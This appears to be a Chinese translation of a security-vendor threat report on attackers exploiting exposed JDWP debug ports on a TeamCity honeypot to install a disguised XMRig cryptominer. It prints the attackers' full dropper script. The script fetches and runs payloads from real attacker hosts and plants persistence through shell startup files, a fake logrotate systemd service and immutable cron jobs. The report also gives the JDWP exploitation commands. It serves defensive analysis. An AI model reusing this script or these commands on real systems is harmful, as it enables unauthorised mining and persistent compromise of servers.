暴露的 JDWP 在野外被利用:当调试端口被留下开放时会发生什么
攻击者利用暴露的Java调试线协议(JDWP)接口入侵TeamCity服务器,成功部署挖矿软件并设置多种持久化机制。 2025-8-12 04:41:43 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

图片

介绍

在例行监控期间,Wiz 研究团队观察到一次针对我们蜜罐服务器的攻击尝试,该服务器运行着流行的 CI/CD 工具 TeamCity。调查发现,攻击者利用一个暴露的 Java 调试线协议(JDWP)接口,成功获得了远程代码执行权限,并最终部署了挖矿载荷及多种持久化机制。

本次攻击有以下几个值得关注的特点:

  • 快速利用 恶意软件在暴露易受攻击的机器后仅几小时内部署。我们在多次尝试中都观察到了这种快速的攻击周期。
  • 定制的 XMRig 载荷 攻击者使用了一个带有硬编码配置的修改版 XMRig,从而避免了使用通常会被防御者标记的可疑命令行参数。
  • 隐蔽的加密货币挖矿 该载荷使用了矿池代理来隐藏其加密货币钱包地址,从而阻止调查人员追踪。

什么是 JDWP?

JDWP,全称 Java 调试线协议(Java Debug Wire Protocol),是 Java 平台的一项标准功能,旨在帮助开发者调试运行中的应用程序。它允许在不重启应用的情况下,远程检查线程、内存和执行流。开发者通常通过以下标志启动 JVM 来启用它。此设置会告知 JVM 在端口 5005 上监听调试器连接,并接受来自所有网络接口的连接。

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

然而,JDWP 默认并未实现身份验证或访问控制,将其暴露于互联网被视为一种错误配置。一旦暴露,它便成为一个高风险入口,使攻击者能完全控制正在运行的 Java 进程。在本次事件中,此错误配置使得攻击者能够注入并执行任意命令、建立持久化并运行恶意软件。

虽然 JDWP 在大多数 Java 应用中默认关闭,但它在开发和调试环境中被广泛使用。许多流行应用在调试模式下运行时会自动启动 JDWP 服务器,且通常不会向开发者明确提示其风险。如果保护不当或被暴露,就可能导致远程代码执行(RCE)漏洞。

在调试模式下可能启动 JDWP 服务器的应用包括:

  • TeamCity(由 JetBrains 开发的 CI/CD 服务器)
  • Jenkins(流行的 CI 工具)
  • Selenium Grid(分布式浏览器测试平台)
  • Elasticsearch(基于 Java 的搜索引擎)
  • Quarkus(云原生 Java 框架)
  • Spring Boot(Java 框架)
  • Apache Tomcat(开源 Web 服务器)

JDWP 目标

如前所述,我们观察到暴露的 JDWP 实例被迅速利用。在我们的测试中,部署一台暴露 JDWP 的机器后,我们的传感器在短短几小时内就检测到了多次利用尝试。这表明 JDWP 是一个高度集中的攻击目标。为了证实这一点,我们使用 GreyNoise 的标签搜索功能发现,在过去 90 天内,有超过 6,000 个独立 IP 地址在扫描 JDWP 端点。

图片

攻击流程

在调查过程中,我们观察到来自不同攻击者的多次 JDWP 利用尝试。为简洁起见,本篇博客将聚焦于一个典型事件,该事件能很好地代表整个攻击活动。请注意,附录中的失陷指标(IoCs)涵盖了所有观察到的活动,而非仅限于此特定事件。

图片

攻击者首先扫描互联网上开放的 JDWP 端口。其中一次扫描触达了我们的蜜罐服务器,该服务器在端口 5005 上暴露了 JDWP。攻击者随后发送 JDWP-Handshake请求以确认接口活跃并建立 JDWP 会话。JVM 响应了版本详情和已加载类的列表,确认 JDWP 已完全暴露且可交互。

图片

上图为 Wireshark 中显示的 JDWP-Handshake 协议截图。

随后,攻击者遵循结构化序列以实现远程代码执行,可能使用了带有额外功能的 jdwp-shellifier 变体。他们查询 JVM 以获取可用类和方法,然后定位到 java.lang.Runtime及其 getRuntime()exec()方法。

利用步骤包括:

  1. 创建包含系统命令的 Java 字符串,例如:
    1. curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh>
    2. bash /tmp/logservice.sh
  2. 使用 INVOKESTATICMETHOD_SIG调用 Runtime.getRuntime()
  3. 使用 INVOKEMETHOD_SIG将命令字符串传递给 exec()

图片

上图为 Wireshark 中显示包含利用命令的 JDWP 数据包截图。

这些步骤通过不同的命令组合(wget, sh等)重复执行,以下载并启动攻击载荷。

在底层,攻击者发出了低级别的 JDWP 指令,包括 CreateStringget_all_classesget_methods以及方法调用签名。他们完全通过 JDWP 协议进行操作,无需访问应用程序本身。

logservice.sh

logservice.sh 是一个具有以下功能的投放器脚本:

  • 杀死竞争的挖矿进程或任何高 CPU 进程(占用超过 60% CPU 的进程,一小部分白名单进程除外)。
  • https[://]awarmcorner[.]world/silicon<architecture>blueprints.png下载 XMRig 挖矿程序,并将其放入 ~/.config/logrotate后执行。
  • 在所有 shell 启动文件(.bashrc, .zshrc等)、rc.localsystemd和多个 cron 任务中安装持久化钩子,确保载荷在每次 shell 登录、重启或计划任务间隔时被重新获取和执行。
  • 退出时自删除,以尽量减少痕迹。
#!/bin/sh{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'EXEC="source <(wget -q -O - <http://185.196.8.123/logservice.sh> || curl -sL <http://185.196.8.123/logservice.sh>)"trap 'rm -- "$0"' EXITif [ -z "${HOME+x}" ]; then   export HOME=/tmpfimkdir -p "$HOME/.config" >/dev/null 2>&1[ ! -f "$HOME/.config/logrotate" ] && {   ARCH=$(uname -m)   URL=""   [ "$ARCH" = "x86_64" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"   [ "$ARCH" = "aarch64" ] && URL="<https://awarmcorner.world/siliconarmblueprints.png>"   [ "$ARCH" = "armv7l" ] && URL="<https://awarmcorner.world/siliconarmv7blueprints.png>"   [ -z "$URL" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"   { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1}pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"add_to_startup() {   if [ -r "$1" ]; then       if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then           echo "$EXEC >/dev/null 2>&1" >> "$1"       fi   fi}case "$(ps -p $$ -o comm=)" in   bash) add_to_startup "$HOME/.bashrc"         add_to_startup "$HOME/.bash_logout" ;;   zsh) add_to_startup "$HOME/.zshrc" ;;esac[ "$(id -u)" -eq 0 ] && {   RCLOCAL=''   [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'   [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'   [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"   cat >/etc/systemd/system/logrotate.service <<EOL[Unit]Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files[Service]ExecStart=$HOME/.config/logrotateRestart=alwaysNice=-20StandardOutput=null[Install]WantedBy=multi-user.targetEOL   sudo systemctl daemon-reload 2>/dev/null   sudo systemctl enable logrotate.service 2>/dev/null   [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null   [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null   [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null   [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null   [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null   [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null   [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null   [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null}

logrotate 二进制文件

如前所述,攻击者以 logrotate的名称部署恶意载荷,很可能是为了与同名的合法系统工具混淆以避免引起怀疑。而实际上,该 logrotate二进制文件是 XMRig 的一个修改变种。XMRig 是一个合法的开源挖矿程序,不出所料,它仍然是威胁行为者进行未授权挖矿的首选。作为开源软件,XMRig 为攻击者提供了易于定制的便利,本次事件中,攻击者剥离了所有命令行解析逻辑并硬编码了配置。这种修改不仅简化了部署,还使载荷能更令人信服地模仿原始的 logrotate进程。

持久化机制

获得执行权限后,攻击者设置了多个持久化机制。我们观察到他们组合使用了传统启动脚本、现代 systemd 服务、cron 作业和 shell 配置文件:

RC Local

他们首先检查 Linux 发行版并修改相应的启动文件:

RCLOCAL=''[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"

Systemd Service

接下来,攻击者放置了一个伪装成 logrotate的虚假 systemd 服务。实际上,它仅指向其恶意二进制文件,并被设置为持续重启:

[Unit]Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files[Service]ExecStart=$HOME/.config/logrotateRestart=alwaysNice=-20StandardOutput=null[Install]WantedBy=multi-user.target

Shell 启动脚本

为了在终端登录或注销时触发载荷,他们将其附加到用户特定的 shell 配置文件中:

case "$(ps -p $$ -o comm=)" in   bash) add_to_startup "$HOME/.bashrc"         add_to_startup "$HOME/.bash_logout" ;;   zsh) add_to_startup "$HOME/.zshrc" ;;esac

Cron Jobs

最后,攻击者在多个位置和时间间隔创建了 cron 作业。

[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null

Wiz 如何提供帮助?

检测

IoC 类型 描述
a923de9df0766d6c4be46191117b8cc6486cf19c SHA-1 logservice.sh

文章来源: https://www.freebuf.com/articles/web/444003.html
如有侵权请联系:admin#unsafe.sh